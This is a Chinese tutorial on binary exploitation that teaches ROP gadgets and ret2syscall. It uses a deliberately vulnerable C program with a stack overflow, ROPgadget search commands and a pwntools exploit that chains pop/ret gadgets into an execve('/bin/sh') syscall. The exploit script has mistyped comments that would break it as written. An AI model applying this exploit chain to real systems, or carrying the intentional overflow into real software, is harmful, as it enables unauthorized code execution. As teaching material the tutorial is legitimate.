天天看点

pwn学习---ropgadget和ret2syscall

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术,攻击者扫描已有的动态链接库和可执行文件,提取出可以利用的指令片段(gadget),这些指令片段均以ret指令结尾,即用ret指令实现指令片段执行流的衔接,从而构建恶意代码。可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。

ret2syscall,即控制程序执行系统调用,获取 shell。

接下来我们看一个示例,在read函数这里会出现缓冲区溢出。

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/syscall.h>
void exploit()
{
         system("/bin/sh");
}
void func()
{
             char str[0x20];
             read(0,str,0x50);
}
int main()
{
           func();
           return 0;
}
           

进行编译

gcc -no-pie -fno-stack-protector  -static -m32  -o 7.exe 7.c
           

-static :静态编译

查看保护机制

pwn学习---ropgadget和ret2syscall

这里很奇怪,明明命令已经关闭了canary栈保护,可是这里还是显示开启了栈保护,更奇怪的是这个并没有影响溢出的结果。

定位溢出点(这里简写了,可以查看我之前的文章有专门讲定位溢出点的方法和过程)

cyclic 100
cyclic -l laaa
           
pwn学习---ropgadget和ret2syscall

结果是44

查找pop…ret以及/bin/sh和int 0x80的地址

只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell

execve的系统调用号是0x0b

execve系统调用号赋给eax寄存器,将参数”/bin/sh”的地址赋值给ebx寄存器,参数NULL,NULL赋值给ecx和edx寄存器,触发 0x80 号中断

利用ROPgadget的工具查找eax ebx ecx edx的地址(即pop…ret的地址),以及/bin/sh和int 0x80的地址。即:

------ ---------------分割线---------------------

系统调用号,即 eax 应该为 0xb

第一个参数,即 ebx 应该指向 /bin/sh 的地址

第二个参数,即 ecx 应该为 0

第三个参数,即 edx 应该为 0

------ ---------------分割线---------------------

而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。

ROPgadget --binary ./7.exe --only "pop|ret" | grep "eax"
ROPgadget --binary ./7.exe --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"
ROPgadget --binary ./7.exe --string "/bin/sh"
ROPgadget --binary ./7.exe --only "int"|grep "0x80"
           
pwn学习---ropgadget和ret2syscall

poc

找到了地址之后就可以写poc了!

from pwn import *
#context(arch="i386",os="linux")
p=process('./7.exe')
offset = 44
add_eax=p32(0x080aaa06)     // pop eax ; ret 的地址
value_eax=p32(0xb)             //eax的值是0xb
add_edx_ecx_ebx=p32(0x0806f711)   pop edx;pop ecx; pop ebx ;ret 的地址
value_ebx=p32(0x080ae008)        //ebx指向/bin/sh的地址
value_ecx=p32(0)
value_edx=p32(0)
add_int=p32(0x0804a3d2)        //
payload =offset*'\x90'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int
#pid=proc.pidof(p)
#print pid
#pause()
p.sendline(payload)
p.interactive()
           

构造的payload为

payload =offset*'\x90'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int
           
pwn学习---ropgadget和ret2syscall

成功!

参考文章:

https://blog.csdn.net/qq_44759495/article/details/89474281

https://www.cnblogs.com/ichunqiu/p/9288935.html